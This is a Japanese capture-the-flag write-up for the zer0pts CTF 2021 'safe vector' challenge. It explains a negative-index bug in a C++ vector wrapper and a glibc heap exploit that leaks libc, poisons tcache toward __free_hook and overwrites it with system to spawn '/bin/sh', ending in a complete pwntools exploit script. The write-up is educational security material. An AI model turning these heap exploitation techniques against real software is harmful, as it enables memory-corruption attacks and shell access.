zer0pts CTF 2021 - safe vector
TL;DR
- 領域外アクセスを防ぐために添え字を配列のサイズで割った余りが用いられているがC++では負数の余りが負数となるので上向きの領域外アクセスは出来る
- これでunsorted binに繋がれたチャンクを覗いてlibc leakする
- なんかいい感じにfreeされたチャンクのサイズやfdを書き換えて
__free_hook
付近をtcacheに繋ぐ - この辺のポインタを得た際にその前のデータが入ってくれるのでちょうど
system("/bin/sh")
となるようにする
Prerequisite
- C++の仕様
- 負数の余りもまた負数となる
std::vector
の仕様[]
による添字アクセスは特にチェックが無い- サイズの拡張が行われる際にポインタはfreeされる
Writeup
次のC++製のソースコードをコンパイルしたバイナリが与えられる
#include <iostream>
#include <vector>
template<typename T>
class safe_vector: public std::vector<T> {
public:
void wipe() {
std::vector<T>::resize(0);
std::vector<T>::shrink_to_fit();
}
T& operator[](int index) {
int size = std::vector<T>::size();
if (size == 0) {
throw "index out of bounds";
}
return std::vector<T>::operator[](index % size);
}
};
using namespace std;
int menu() {
int choice;
cout << "1. push_back" << endl
<< "2. pop_back" << endl
<< "3. store" << endl
<< "4. load" << endl
<< "5. wipe" << endl
<< ">> ";
cin >> choice;
return choice;
}
int main() {
safe_vector<uint32_t> arr;
do {
switch(menu()) {
case 1:
{
int v;
cout << "value: ";
cin >> v;
arr.push_back(v);
break;
}
case 2:
{
arr.pop_back();
cout << "popped" << endl;
break;
}
case 3:
{
int i, v;
cout << "index: ";
cin >> i;
cout << "value: ";
cin >> v;
arr[i] = v;
break;
}
case 4:
{
int i;
cout << "index: ";
cin >> i;
cout << "value: " << arr[i] << endl;
break;
}
case 5:
{
arr.wipe();
cout << "wiped" << endl;
break;
}
default:
return 0;
}
} while (cin.good());
return 0;
}
__attribute__((constructor))
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
std::vector
を改造したものを操作する。
std::vector
にはv[i]
に対する添字i
のチェックが無いのでstore
やload
で領域外アクセスができそうな予感がするが、残念ながらreturn std::vector<T>::operator[](index % size);
のように添え字をサイズで割った余りを使っているので出来ない。
と思うが、実はCやC++では負数を割った余りも負数になる。例を挙げると$-31 = 17\times (-2) + 3$であり、除法原理ではだいたい3が余りとして扱われるが、$-31 = 17 \times (-1) - 14$も同時に成り立っており、C++ではこちらが返される。
というわけでsize
を超えた領域外アクセスは出来ないが、-size
までのインデックスならアクセスすることが出来る。これでできそうな事は次の通り
- データが入ってるチャンクの上にfreeされたチャンクがあるなら、そこからHeap領域中のアドレスやlibc中のアドレスを読む
- データが入ってるチャンクの上にあるfreeされたチャンクのメタ情報を書き換えてtcache等を好みのアドレスに繋ぐ
- チャンク自身のサイズを書き換える
また、std::vector
は現在のサイズを越えてデータを格納すると、サイズを2倍にしてrealloc
が発生するらしい。この時に古いチャンクはfreeされるのでサイズがどんどん大きくなる形でチャンクがHeap領域に溜まっていくことになる。
まずはこの性質を利用してlibc leakをする。配列が非常にデカくなるなら、チャンクのサイズも大きくなるため、push_backを繰り返して0x420より大きいサイズのチャンクを用意し、それに限界までpush_backしてから、更に要素を追加することでこのチャンクはfreeされる。運良く、最初に領域を確保してからfreeされるため、先にtopチャンクからチャンクが切り取られた後にfreeが行われ、topチャンクとの結合は行われない。よってunsorted binに送られることになる。
新たな配列は既にfreeされたチャンクと同等のサイズを持っているので数回push_backを繰り返せばサイズが大きくなることでv[-size+1]
までアクセスすることが出来る。これで、1つ上のチャンクがunsorted binに送られた際にfd,bkに書き込まれたlibc中のアドレス(main_arena+0x60に相当する)をloadで見ることが出来る。
続いて行うのは__free_hook
をtcacheに繋ぐことである。次のような事情によってサイズ0x20のtcacheに繋ぐ事は諦め、サイズ0x30のtcacheを狙う。
__free_hook
が配列の先頭ポインタになってしまうと、system
の値を入れたとしてもfreeされた時にsystem(system)
となってしまう- というわけで
__free_hook
の上にあるアドレスから書き込もうとするが、サイズが0x20だと、wipe
時にサイズが0になる都合上、サイズの拡大によるfreeが発生し、サイズヘッダが無くて怒られる - というわけでサイズヘッダを作ろうとするが、
wipe
時にサイズが0になる都合上、添字-2のアクセスすら出来ない(サイズが2なので0扱いになる)
手順はだいたい次の通り
- 0x30より大きいチャンクが得られた時にそのサイズを0x30に偽装し(PREV_INUSEを立てたりするために値としては0x31にする)、tcacheのカウントを増やす(これが無いと
__free_hook
付近をチャンクとして得る前にカウントが0になってここから取得されなくなる) __free_hook
のアドレスより0x8だけ小さいアドレスをtcacheに繋ぐ。これにはlibc leak時同様、負のインデックスで0x30のtcacheの先頭に来ているアドレスにアクセスしてstoreする- wipeして再び配列を作り始める
- 0x30のtcacheからチャンクが取られると、次に
__free_hook
付近が得られるが、次にfreeされた時にまたそのチャンクが戻ってきてしまうのでそのチャンクのサイズを0x20に変更してからfreeする - wipeして再び配列を作り始める
- 0x30のチャンクを取得した際に、元の配列から値がコピーされるので先頭に
"/bin/sh"
を入れ、__free_hook
にsystem
のアドレスが来るように値を入れていく - サイズ超過が起こった時に値がコピーされてから古いチャンクがfreeされるのでこの時に
system("/bin/sh")
が発火してシェルが取れる
Code
from pwn import remote, ELF, process, u32
import sys
cnt = 0
def choice(c: int):
sc.recvuntil(b">> ")
sc.sendline(str(c).encode())
def push(x: int):
global cnt
choice(1)
sc.recvuntil(b"value: ")
sc.sendline(str(x).encode())
cnt += 1
def store(idx: int, v: int):
choice(3)
sc.recvuntil(b"index: ")
sc.sendline(str(idx).encode())
sc.recvuntil(b"value: ")
sc.sendline(str(v).encode())
def load(idx: int) -> int:
choice(4)
sc.recvuntil(b"index: ")
sc.sendline(str(idx).encode())
sc.recvuntil(b"value: ")
v = int(sc.recvline())
return v
# vectorのポインタごと抹消されるっぽい
def wipe():
global cnt
choice(5)
cnt = 0
def attach_wait():
input("[+] Attach Waitng...")
print("[+] done")
DEBUG = False
if len(sys.argv) > 1 and sys.argv[1] == "-d":
DEBUG = True
binary_name = "./chall"
elf = ELF(binary_name)
if DEBUG:
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
arena_offset = 0x7f1afbf82b80 - 0x7f1afbd97000
else:
libc = ELF("./libc.so.6")
arena_offset = 0x7f4ccca01b80 - 0x7f4ccc816000
sc = remote("localhost", 13337)
# sc = process(["./chall"])
for i in range(0x210):
push(i)
v1 = load(-0x204)
v2 = load(-0x204+1)
libc_leak = (v2 << 32) + v1
libc_arena = libc_leak - 96
libc_addr = libc_arena - arena_offset
print(f"[+] leak: {libc_addr:x}")
free_hook_addr = libc_addr + libc.symbols["__free_hook"]
system_addr = libc_addr + libc.symbols["system"]
one_gadget_addr = libc_addr + 0xe6e73
print(f"[+] __free_hook: {hex(free_hook_addr)}")
print(f"[+] system : {hex(system_addr)}")
wipe()
for i in range(16):
push(0xba0000 + i)
store(-2, 0x31)
for i in range(16,32):
push(0xba0000 + i)
target = free_hook_addr - 0x8
free_hook_bottom = target & 0xffffffff
free_hook_top = target >> 32
if free_hook_bottom & 0x80000000:
free_hook_bottom -=0x100000000
store(-20, free_hook_bottom)
store(-19, free_hook_top)
wipe()
for i in range(8):
push(0)
store(-2, 0x21)
wipe()
push(u32(b"/bin"))
push(u32(b"/sh\x00"))
system_bottom = system_addr & 0xffffffff
system_top = system_addr >> 32
if system_bottom & 0x80000000:
system_bottom -= 0x100000000
push(system_bottom)
push(system_top)
push(0)
attach_wait()
sc.interactive()
Flag
ローカルでシェル取っただけ
(ところで、libc leakのために600回程度通信してるけど、タイムアウトがあったら解けない可能性がある事にWriteupを書きながら気付いた)
Resources
- C++のpwn/revで使うSTLコンテナの構造とバグパターン一覧 - CTFするぞ:
std::vector
の構造について